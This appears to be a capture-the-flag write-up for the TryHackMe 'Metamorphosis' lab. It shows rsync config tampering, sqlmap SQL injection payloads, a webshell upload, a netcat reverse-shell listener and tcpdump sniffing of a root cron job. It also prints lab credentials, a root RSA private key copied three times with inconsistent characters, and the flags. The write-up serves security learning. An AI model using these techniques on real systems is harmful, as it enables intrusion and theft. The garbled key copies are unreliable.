

Metamorphosis

Enumeration

website didnt seemed to interesting and smb shares also didnt had any open shares

enumrated rsync service and accessed its COnf share and copied its contents

```
# nmap -sV --script "rsync-list-modules" -p 873 $ip
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-23 10:13 EDT
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.73% done; ETC: 10:13 (0:00:00 remaining)
Nmap scan report for 10.10.164.14
Host is up (0.45s latency).

PORT      STATE SERVICE VERSION
873/tcp   open  rsync    (protocol version 31)
rsync-list-modules:
_ Conf    All Confs

Service detection performed. Please report any incorrect results at https://nmap.org.
Nmap done: 1 IP address (1 host up) scanned in 4.04 seconds

--(root👁CyberJunkie)-[~/Tryhackme/Metamorphosis_THM]
--# rsync -av rsync://$ip:873/Conf /root/Tryhackme/Metamorphosis_THM
receiving incremental file list
/
access.conf
bluezone.ini
debconf.conf
ldap.conf
vm.conf
mysql.ini
php.ini
ports.conf
resolv.conf
screen-cleanup.conf
smb.conf
webapp.ini
```

we get web credentials from webapp.ini file

```
└─# cat webapp.ini
[Web_App]
env = prod
user = tom
password = theCat

[Details]
Local = No
```

The /admin tells us that only make sure only development team has access to the /admin panel. AS webapp.ini is a config file we can change the env =prod to dev and then upload it to the rsync and then access it

```
[Web_App]
env = dev
user = tom
password = theCat

[Details]
Local = No
```

```
└─(root👤CyberJunkie)-[~/Tryhackme/Metamorphosis_THM/rsync]
└─# rsync webapp.ini $ip::Conf/webapp.ini

└─(root👤CyberJunkie)-[~/Tryhackme/Metamorphosis_THM/rsync]
└─#
```

NOW we get a admin panel

Nmap

```
22/tcp open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:0f:0a:18:50:78:07:10:f2:32:d1:60:30:40:d4:be (RSA)
| 256 5c:00:37:df:b2:ba:4c:f2:3c:46:6e:a3:e9:44:90:37 (ECDSA)
└─ 256 fe:bf:53:f1:d0:5a:7c:30:db:ac:c8:3c:79:64:47:c8 (ED25519)
80/tcp open  http      Apache httpd 2.4.29 ((Ubuntu))
```

```
_http-server-header: Apache/2.4.29 (Ubuntu)
_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp open  rsync      (protocol version 31)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%),
ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2
(92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: INCOGNITO; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Host script results:

```
_clock-skew: mean: 32s, deviation: 1s, median: 31s
_nbstat: NetBIOS name: INCOGNITO, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
_smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: incognito
| NetBIOS computer name: INCOGNITO\x00
| Domain name: \x00
| FQDN: incognito
|_ System time: 2021-07-23T14:04:54+00:00
_smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
_smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
_smb2-time:
| date: 2021-07-23T14:04:54
|_ start_date: N/A
```

gobuster

```
/.hta          (Status: 403) [Size: 277]
/.htpasswd     (Status: 403) [Size: 277]
/.htaccess     (Status: 403) [Size: 277]
/admin         (Status: 301) [Size: 312] [--> http://10.10.164.14/admin/]
/index.php     (Status: 200) [Size: 10818]
/server-status (Status: 403) [Size: 277]
```

Exploitation

we find sql injection in the post form and now we will dump the db

```
[13:37:17] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
T parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
map identified the following injection point(s) with a total of 66 HTTP(s) requests:

Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=tom" AND 3065=3065-- AIYG

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=tom" AND (SELECT 2641 FROM (SELECT(SLEEP(5)))kCTL)-- jaCQ

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: username=tom" UNION ALL SELECT NULL,NULL,CONCAT(0x71787a7071,0x4a72646d4552675557436f4b596a7a4d52655847447747714b78754a436444
,0x7162786b71)-- -
```

WE find databases name

```
back-end DBMS: MySQL >= 5.0.12
[11:39:27] [INFO] fetching database names
available databases [5]:
[*] db
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

[11:39:28] [INFO] fetched data logged to text files
```

Table names

```
[11:40:24] [INFO] fetching
Database: db
[1 table]
+-----+
| users |
+-----+
```

#columns

```
Table: users
[3 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| id     | int(2) |
| password | varchar(50) |
| uname  | varchar(30) |
+-----+-----+
```

dumping the db was waste but we can upload a webshell with help of sqlmap

sqlmap offers a osshell flag which creates a file upload fucntinality on website and we can then upload a shell

1 tom thecat

sqlmap file uploader

No file selected.

to directory:

we upload a shell and catch it back

```
# nc -nvlp 6969
listening on [any] 6969 ...
connect to [10.4.30.255] from (UNKNOWN) [10.10.164.14] 36810
Linux incognito 4.15.0-144-generic #148-Ubuntu SMP Sat May 8 02:3
4 x86_64 GNU/Linux
 15:57:41 up  2:01,  0 users,  load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU WH
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

Post Exploitation

NOW after some enumeration i noticed that tcpdump has capabilities set to it,also the room had sniff as a topic so i knew that this was the vector

Ran pspy and then got to know that a root cronjob is running which is curling to port 1027 of local host so we have to capture that

```
1 | /bin/sh /root/req.sh
0 | /bin/sh /root/req.sh
9 | /bin/sh -c /root/req.sh
4 | ps -e -o pid,ppid,state,command
5 | ps -e -o pid,ppid,state,command
6 | /usr/sbin/CRON -f
9 | curl http://127.0.0.1:1027/?admin=ScadfwerDSAd_343123ds123dqwe12
8 | /bin/sh /root/req.sh
7 | /bin/sh -c /root/req.sh
5 | ps -e -o pid,ppid,state,command
6 | ps -e -o pid,ppid,state,command
0 | curl http://127.0.0.1:1027/?admin=ScadfwerDSAd_343123ds123dqwe12
9 | /bin/sh /root/req.sh
```

Now using tcpdump

```
..4...3Content-Type: text/html; charset=utf-8
Content-Length: 1678
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Fri, 23 Jul 2021 16:34:01 GMT
```

-----BEGIN RSA PRIVATE KEY-----

```
MIIEpAIBAAKCAQEAyLHluXzbi43DIBFC47uRqkXTe72yPGxL+ImFwvOw8D/vd9mj
t5SXjXSVtn6TguV2SFovrTlreUsv1CQwCSCixdMyQIWCgS/d+LfUyO3SC4FEr+k
J0ALG6wdjmHdRDW91JW0pG9Q+nTyv22K0a/yT91ZdLL/5cVjGKtYIob/504AdZZ
NyCGq8t7ZUKhx0+TuKKcr2dDfL6rC5GBAnDkMxqo6tjkUH9nlfK7E9is0u1F3Zx
rgn6PwOLDHeLgrQUok8NUwxDYxRM5zXT+I1Lr7/fGy/50ASvyDxZyjDuHbB7s14
2HI32lVrx8u4X9Y2zgIU/mlIjuUtTyIAH4kswIDAQABAoIBAQCcPUImIPmZrwcU
9tLBx7je/CkCI3VVEngds9XcfdxUZTPrPMsk490IFpbmt6uG37Qxp2QuauEsUEg
0uxCbtHJSB169XUftXAMzLAurFY09rH0cK84HzeGl3t6+N0U2PGrqdAzoyVblef
9yZ3D46Idj3LS9pDumLnNZ0rZAWcaHW+rgjNqjsoBdQL7HGW+sacDAmZzU/Eti9
H97NnrXkZuGXcnabXWcUj0HFHssCpF8KFPT3xxwtrqkUTJdMvUxxCD54HXiKM3u
jLXIX+HwHfLKHugYvLUuez7XFi6UP83Hiqmq48kB09sBa2iTV/iy6mHe7iyeELaa
o7WHF2hAoGBAOPxNwc3vH18qu3WC6eMphPdYOaGBjbNB0gzJxzh/evxpSwRSg9V
3gNgKJ8zccQff/HH1n54VS+tuF7RCyKRnB+Ne7K/uiDe1TpOKEMi7XtXOYHy5s1
ykL00PdSs4hN1jMJjkSfPgdnPmxM3bbJMHPjdQXAK6DnXmOCETaPanAoGBAOFm
hqv80REYFq+h1mDzMJn5WsNQQZnvvetJR7g3gfKcVblwMh1h504Tf3o00OGCKC1
4iWMNB6uitKfTmGNta5X8ChWSVxXbb9fOWCoudNGt/fb70SK6fK9CSl66i/niIw
Icu0tpS/T3MoqwMiGk87ivtW3bK20TsnY0tX3KVAoGAEEJdBEo10ctMRfjjVTQN
8Uk0zF0z1vqpKV0zk9U8uw0v25jtoiRPwWgKZ+NLa83k5f198NJULLd+nCHdFE3
X8okCHROkEgrjTWQpyPYajL/yhhaz4drTEgPxd4CpvA0KRRS0ULQttmqGyngK3
ZQ2D3T4oyYh+FI12UKCm0UCgYEAyiHWqNanY02+ayJ6FtiPg7fQkZQtQCVBqLNp
qt18e6mfZtEq3IBkAiySIXHD8Lfcd+KZR7rZZ8r3S7L5g5ql11edU08uMtVkJ3
IpxcIRBGysylYf6BluHXmY9U/OjSF3QTCq9hHTwDb+6EjibDGVl4bDWWU3KHaFk
PsboZECgYAVK5KksKV2lJqjX7x1xPAuHoJEyYKiZJuw/uzAbwG2b4YxKTcTXhM6
lH5GV7D5xijpfznQ/eZcTpr2f6mfZQ3ro0+sah9v4H3LpzT8UydBU2FqILxck4v
IaR6ed2y/NbuyJOIy7paSR+S1WT5G68FLa0mRzBqYdD0duhl061ww==
```

After few minutes when cronjob ran, we got this private rsa key

-----BEGIN RSA PRIVATE KEY-----

```
MIIEpAIBAAKCAQEAyLHluXzbi43DIBFC47uRqkXTe72yPGxL+ImFwvOw8D/vd9mj
rt5SXjXSVtn6TguV2SFovrTlreUsv1CQwCSCixdMyQIWCgS/d+LfUyO3SC4FEr+k
wJ0ALG6wdjmHdRDW91JW0pG9Q+nTyv22K0a/yT91ZdLL/5cVjGKtYIob/504AdZZ
5NyCGq8t7ZUKhx0+TuKKcr2dDfL6rC5GBAnDkMxqo6tjkUH9nlfK7E9is0u1F3Zx
qrgn6PwOLDHeLgrQUok8NUwxDYxRM5zXT+I1Lr7/fGy/50ASvyDxZyjDuHbB7s14
K2HI32lVrx8u4X9Y2zgIU/mlIjuUtTyIAH4kswIDAQABAoIBAQCcPUImIPmZrwcU
09tLBx7je/CkCI3VVEngds9XcfdxUZTPrPMsk490IFpbmt6uG37Qxp2QuauEsUEg
v0uxCbtHJSB169XUftXAMzLAurFY09rH0cK84HzeGl3t6+N0U2PGrqdAzoyVblef
U9yZ3D46Idj3LS9pDumLnNZ0rZAWcaHW+rgjNqjsoBdQL7HGW+sacDAmZzU/Eti9
mH97NnrXkZuGXcnabXWcUj0HFHssCpF8KFPT3xxwtrqkUTJdMvUxxCD54HXiKM3u
jLXIX+HwHfLKHugYvLUuez7XFi6UP83Hiqmq48kB09sBa2iTV/iy6mHe7iyeELaa
9o7WHF2hAoGBAOPxNwc3vH18qu3WC6eMphPdYOaGBjbNB0gzJxzh/evxpSwRSg9V
```

63gNgKJ8zccQff/HH1n54VS+tuF7RCykrNb+Ne7K/uiDe1TpOKEMi7XtXOYHy5s1
tykL0OPdSs4hN1jMjJkSfPgdnPmxM3bbJMHDPjdQXAK6DnXmOCETaPAnAoGBAOFm
Fhqv8OREYFq+h1mDzMJn5WsNQZnvvetJR7g3gfKcVblwMhlh504Tf3o00OGCKC1
L4iWMNB6uitKfTmGNta5X8ChWSVxXbb9fOWCOudNGt/fb70SK6fK9CSl66i/nilw
clcu0tpS/T3MoqwMiGk87ivtW3bK20TsnY0tX3KVAoGAEEjdBEo1OctMRfjVTQN
28Uk0zF0z1vqpKVOzk9U8uw0v25jtoiRPwwgKZ+NLa83k5f198NJULLd+ncHdFE3
LX8okCHROKEGrjTWQpyPYajL/yhhaz4drtTEgPxd4CpvA0KRRS0ULQttmqGyngK3
sZQ2D3T4oyYh+FI2UKCm0UCgYEAyiHWqNAnY02+ayJ6FtiPg7fQkZQtQCVBqLNp
mqtl8e6mfZtEq3IBkAiySIXHD8Lfcd+KZR7rZZ8r3S7L5g5ql11edU08uMtVvk4j3
vlpXclRBGYslyf6BlUHXmY9U/OjSF3QTCq9hHTwDb+6EjibDGL4bDWWU3KHafk
GPsboZECgYAVK5KksKV2lJqjX7x1xPAuHoJEyYKiZJuW/uzAbwG2b4YxKTcTXhM6
CIH5GV7D5xijpfznQ/eZcTpr2f6mfZQ3roO+sah9v4H3LpzT8UydBU2FqLxck4v
QlaR6ed2y/NbuyJOly7paSR+SIWT5G68FLaOmRzBqYdDOduhl061ww==
-----END RSA PRIVATE KEY-----

ssh as root

```
(root@CyberJunkie) - [~/TryHackMe/Metasploit]
# ssh root@$ip -i id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-76-generic)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Fri Jul 23 16:30:00 UTC 2022

System load:  0.0               Processes: 1
Usage of /:   53.6% of 8.79GB   Users logged in: 0
Memory usage: 84%              IP address: 10.10.10.10
Swap usage:   0%

0 updates can be applied immediately.

Last login: Sat Apr 10 19:40:46 2021
root@incognito:~#
```

Loot

Credentials

credentials

tom:theCat

ROOT ssh key

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAyLHluXzbi43DIBFC47uRqkXTe72yPGxL+ImFwvOw8D/vd9mj
rt5SXjXSVtn6TguV2SFovrTlreUsv1CQwCSCixdMyQIWCgS/d+LfUyO3SC4FEr+k
wj0ALG6wdjmHdRDW91JW0pG9Q+nTyv22K0a/yT91ZdIL/5cVjGKtYlob/504AdZZ
5NyCGq8t7ZUKhx0+TuKKcr2dDfL6rC5GBAnDkMxqo6tjkUH9nIFK7E9is0u1F3Zx
qrgn6PwOLDHeLgrQUok8NUwxDYxRM5zXT+I1Lr7/fGy/50ASvyDxZyjDuHbB7s14
K2HI32IVrx8u4X9Y2zglU/mlIjuUtTyIAH4kswlDAQABAolBAQCcPUImIPmZrwcU
09tLBx7je/CkCl3VVEngds9XcfdxUZTPrPMsk490IFpbmt6uG37Qxp2QuauEsUEg
v0uxCbtHJSB169XUftXAMzLAurFY09rHOcK84HzeGl3t6+N0U2PGrqdAzoyVblef
U9yZ3D46ldj3LS9pDumLnNZ0rZAWcaHW+rgjNqjsoBdQL7HGW+sacDAmZzU/Eti9
mH97NnrxkZuGXcnabXWcUj0HFHssCpF8KFPT3xxwtrqkUTJdMvUxxCD54HXiKM3u
jLXIX+HwHfLKHugYvLUuez7XFi6UP83Hiqmq48kB09sBa2iTV/iy6mHe7iyeELaa
9o7WHF2hAoGBAOPxNWc3vH18qu3WC6eMphPdYOaGBjbNB0gzJxzh/evxpSwRSG9V
63gNgKJ8zccQff/HH1n54VS+tuF7RCykrNb+Ne7K/uiDe1TpOKEMi7XtXOYHy5s1
tykL0OPdSs4hN1jMjjkSfPgDNpmxM3bbJMHDPjdQXAK6DnXmOCETaPAnAoGBAOFm
Fhqv8OREYFq+h1mDzMjn5WsNQZnvvettJR7g3gfKcVblwMhlh504Tf3o00OGCKC1
L4iWMNb6uitKfTmGNta5X8ChWSVxXbb9fOWCOudNGt/fb70SK6fK9CSl66i/nilw
clcu0tpS/T3MoqwMiGk87ivtW3bK20TsnY0tX3KVAoGAEEjdBEo1OctMRfjVVTQN
28Uk0zF0z1vqpKVOzk9U8uw0v25jtoiRPwwgKZ+NLa83k5f198NJULLd+ncHdFE3
LX8okCHROKEGrjTWQpyPYajL/yhhaz4drtTEgPxd4CpvA0KRRS0ULQttmqGyngK3
sZQ2D3T4oyYh+FI2UKCm0UCgYEAyiHWqNAnY02+ayj6FtiPg7fQkZQtQCVBqLNp
mqtl8e6mfZtEq3IBkAiySIXHD8Lfcd+KZR7rZZ8r3S7L5g5ql11edU08uMtVk4j3
vlpXcIRBGYsYf6BlUHxM9U/OjSF3QTCq9hHTwDb+6EjibDGVl4bDWWU3KHafk
GPsboZECgYAVK5KksKV2IjqjX7x1xPAuHoJEyYKiZJuW/uzAbwG2b4YxKTcTXhM6
CIH5GV7D5xijpfznQ/eZcTpr2f6mfZQ3roO+sah9v4H3LpzT8UydBU2FqILxck4v
QlaR6ed2y/NbuyJOly7paSR+SIWT5G68FLaOmRzBqYdDOduhl061ww==
-----END RSA PRIVATE KEY-----
```

Flags

user flag

4ce794a9d0019c1f684e07556821e0b0

Root Flag

7ffca2ec63534d165525bf37d91b4ff4